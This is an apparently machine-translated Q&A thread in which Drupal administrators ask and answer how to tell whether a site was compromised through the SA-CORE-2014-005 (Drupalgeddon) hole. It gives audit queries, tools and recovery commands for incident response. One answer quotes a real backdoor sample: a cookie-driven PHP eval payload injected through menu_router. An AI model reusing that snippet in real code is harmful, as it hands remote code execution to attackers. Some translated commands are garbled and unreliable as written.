Drupal SA-CORE-2014-005 - Как определить, был ли скомпрометирован мой сервер /сайт?

Я только что обновил все свои сайты, используя метод patch для решения эксплойта Drupal SA-CORE-2014-005. Я только что прочитал отчеты, что только вчера есть кто-то из российских IP-инфильтрирующих сайтов drupal.

https://www.drupal.org/SA-CORE-2014-005

Мои главные проблемы теперь:

  • Как узнать, включены ли мои сайты?
  • Что я должен искать в своих журналах доступа apache, чтобы определить, был ли мой сайт жертвой или нет?
  • До сих пор, что делают эти хакеры для размещения сайтов?
40 голосов | спросил Patoshi パトシ 17 +04002014-10-17T07:36:51+04:00312014bEurope/MoscowFri, 17 Oct 2014 07:36:51 +0400 2014, 07:36:51

7 ответов


6

Вот некоторые SQL-запросы, которые можно запускать с помощью базы данных вашего сайта, чтобы проверить пользователей с правами администратора, а какие из них получили доступ к сайту 15 октября.

ответил JustinChev 4 22014vEurope/Moscow11bEurope/MoscowTue, 04 Nov 2014 18:06:15 +0300 2014, 18:06:15
29

Если вы читаете эту статью и надеетесь проверить сайт Drupal 7 более чем через месяц после приземления эксплойта, ваш сайт, скорее всего, уже взломан. . Лучше всего восстановить резервную копию до начала атак и работать оттуда.

Существует FAQ на SA-CORE-2014-005 .

  

Как узнать, были ли скомпрометированы мои сайты?

Один из способов быстро проверить, скомпрометированы ли сайты, - это команда drupalgeddon drush.

Установите на свой ~/.drush с помощью drush dl drupalgeddon

Затем используйте drush drupalgeddon-test для тестирования. Дружественные псевдонимы делают это легко и быстро.

Этот инструмент может подтвердить использование сайта, но не может гарантировать, что ваш сайт не будет эксплуатироваться. Здесь нет «чистого счета здоровья», если вы не обновили его до начала атак.


Модуль аудита сайта включает некоторые проверки из Drupalgeddon и дает вам гораздо более полезный ввод. Я очень рекомендую. (EDIT: теперь они работают вместе - супер приятно!)


Обзор безопасности не проверяет атаки Drupalgeddon, но также стоит иметь в своем наборе инструментов.


Если ваша кодовая база сайта была доступна для записи пользователю www, вы можете дополнительно проверить модифицированный код с помощью взломанного модуля. Этот модуль может не делать то, что вы думаете, основываясь только на его имени:)


Хотя нет единого способа идентифицировать все уязвимые сайты, эти инструменты могут помочь вам определить наиболее распространенные показания.


  

Что следует искать в моих журналах доступа apache, чтобы определить, был ли мой сайт жертвой или нет?

В ваших журналах доступа будет много запросов POST. Если только вы не предприняли необычный шаг регистрации всех данных сообщения перед ошибкой, вряд ли у вас будет информация о том, какие из них были злонамеренными.

  

До сих пор, что делают эти хакеры для взломанных сайтов?

Многие сообщают, что их сайты исправлены хакерами! Как злоумышленник, это имеет смысл - вы не хотите, чтобы ваш недавно захваченный сайт выскочил из-под вас злоумышленником next :)

Кроме этого, я бы угадал , сайты используются для сбора любых ценных данных (возможно, захватить некоторые кредитные листы, возможно, снять данные транзакции после использования) и сделать скучные вещи, такие как send спама и работы в качестве скромных рабов ботнета. О, и далее расширьте империю атакующего захваченных сайтов Drupal. (Извините, у меня нет каких-либо взломанных сайтов для наблюдения.)

ответил Chris Burgess 22 +04002014-10-22T00:25:42+04:00312014bEurope/MoscowWed, 22 Oct 2014 00:25:42 +0400 2014, 00:25:42
24

Некоторые проверки общих атак (это не исчерпывающий список, а некоторые из тех нападений, которые наблюдаются в дикой природе до сих пор):

  • Проверьте свою учетную запись пользователя 1, чтобы убедиться, что ее имя пользователя, адрес электронной почты или пароль - это то, что вы ожидаете от них. Также проверьте любые другие учетные записи пользователей, которые имеют высокий уровень разрешений, если это возможно.
  • Проверить наличие новых учетных записей пользователей, которые выглядят подозрительными.
  • Проверить наличие изменений в ролях в вашей системе, например, любые новые роли или переименованные роли.
  • Проверить изменения разрешений. Самый важный аспект этого - убедиться, что роль анонимного пользователя (или другие роли, которые могут подписывать сами, чтобы получить) не изменилась, чтобы увеличить их доступ.
  • Проверить новые пользовательские блоки, которые могут содержать вредоносный код.
  • Проверить новые пользовательские узлы, которые могут содержать вредоносный код.
  • Проверьте файлы в вашей файловой системе, которых не должно быть. Это легко, если вы используете управление версиями, потому что вы можете выполнить git status или svn st, чтобы увидеть, есть ли там какие-либо новые файлы.
  • Если они загрузили вредоносные файлы, вы можете проверить свои журналы доступа для попадания в неизвестные имена файлов, которые вы не знакомы.
  • Проверьте таблицу базы данных маршрутизатора меню на наличие вредоносных записей. Например (модуль drupalgeddon /drush плагин на drupal.org имеет хороший скрипт для более тщательного контроля этой таблицы):

    SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

  • Вы также можете просто просмотреть таблицу меню маршрутизатора для странных выглядящих записей.

Некоторые вещи, которые пытаются сделать, это:

  • Поместите файлы сценариев php на свой сайт, которые они затем могут запустить, нажав их в браузере. Эти скрипты могут выполнять широкий спектр вредоносных вещей. Это достигается за счет добавления записей маршрутизатора вредоносного меню.
  • Создайте учетные записи пользователей admin, чтобы затем использовать, чтобы делать плохие вещи на своем сайте или использовать ваш сайт.
  • Измените адрес электронной почты пользователя 1, чтобы затем сбросить пароль для этой учетной записи и взять на себя ее.
  • Изменить права доступа к общедоступным пользовательским ролям.
  • Добавить блоки /узлы /etc. которые могут содержать вредоносный код. Если у вас включен фильтр PHP, это еще больше проблема.

К сожалению, есть так много вещей, которые злоумышленник может сделать с вашей базой данных, что довольно сложно предоставить полный список возможностей. Они могут делать то, что пытается заставить их контролировать ваш сайт, или они могут просто сломать ваш сайт, но отбросить таблицы или столбцы базы данных и т. Д.

Они могут даже внести очень небольшие изменения в конфигурацию сайта, например, изменить имя вашего сайта или что-то в этом роде, что еще не конец света, но все еще проблематично.

В принципе, все, что вы могли бы сделать в своей базе данных, выполнив команду SQL, теоретически может сделать атакующий.

Все модули, упомянутые в ответе Криса Берджесса, очень полезны для проверки этих вещей.

ответил rooby 17 +04002014-10-17T07:46:55+04:00312014bEurope/MoscowFri, 17 Oct 2014 07:46:55 +0400 2014, 07:46:55
10

Я думаю, что я поеду с советом drupal.org " Вы должны действовать в предположении, что каждый сайт Drupal 7 был скомпрометирован, если не обновлен или не был исправлен до 15 октября, 11:00 UTC, то есть через 7 часов после анонса ». Как Bevan сказал в этом комментарий « Обновление или исправление Drupal не фиксирует бэкдоры, которые были установлены злоумышленниками до обновления или исправления Drupal ».

Bevan также сделал следующее диаграмма рабочего процесса, которая поможет вам проанализировать, были ли вы инфицированы и как восстановить и предотвратить . Тем не менее, он просит всех перейти к оригинальной статье для убедитесь, что у вас установлена ​​последняя версия рабочего процесса. Кроме того, Acquia представляет интересную статью об атаках и шаблонах, которые они испытали в Acquia Cloud

блок-схема, чтобы понять, уязвимы ли вы, если бы вы были заражены и как восстановить

ответил cayerdis 24 +04002014-10-24T09:30:34+04:00312014bEurope/MoscowFri, 24 Oct 2014 09:30:34 +0400 2014, 09:30:34
4

Цитата: https://www.drupal.org/node/2357241#comment -9258955

Это пример файла, который вставлен в столбец table_router таблицы access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php [email protected]$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Как вы можете видеть, он пытается создать файловые модули /image /vzoh.php, но поскольку у меня есть только разрешения на чтение внутри этих каталогов, сбой php с.

Отчеты о поиске похожих файлов, созданных для поиска в каталоге drupal: https: //www.drupal.org/node/2357241#comment-9260017


Я сделал следующую команду:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Цитата: http: //www .paulbooker.co.uk /Друпал-разработчик /команда линии /5-команд-помощь-drupalgeddon

Отображение файлов, которые были изменены на реальном сервере: git status

Поиск попыток выполнения кода через menu_router: выберите * из menu_router, где access_callback = 'file_put_contents'

Показывать, какие файлы находятся на реальном сервере, а не в управлении версиями: diff -r docroot repo | grep docroot | grep 'Только в docroot'

Поиск файлов PHP в каталоге файлов: найти . -path "* php"

Проверка времени между тем, когда пользователь заходил на ваш сайт и посещал последнюю страницу: select (s.timestamp - u.login) /60/60/24 AS days_since_login, u.uid из сеансов s присоединить пользователей u к s.uid = u.uid;

ответил Patoshi パトシ 20 +04002014-10-20T19:59:49+04:00312014bEurope/MoscowMon, 20 Oct 2014 19:59:49 +0400 2014, 19:59:49
3

Очень хороший список команд, чтобы определить, были ли вы созданы.

http: //www.paulbooker. co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));
ответил Patoshi パトシ 5 FriEurope/Moscow2014-12-05T22:32:06+03:00Europe/Moscow12bEurope/MoscowFri, 05 Dec 2014 22:32:06 +0300 2014, 22:32:06
0

Вы можете проверить, был ли ваш сайт взломан с помощью этого онлайн-инструмента:

Проверка Drupal: EngineHack

Очевидно, что это имеет свои ограничения, но это хорошая отправная точка.

ответил bmunslow 15 J0000006Europe/Moscow 2015, 13:30:55

Похожие вопросы

Популярные теги

security × 330linux × 316macos × 2827 × 268performance × 244command-line × 241sql-server × 235joomla-3.x × 222java × 189c++ × 186windows × 180cisco × 168bash × 158c# × 142gmail × 139arduino-uno × 139javascript × 134ssh × 133seo × 132mysql × 132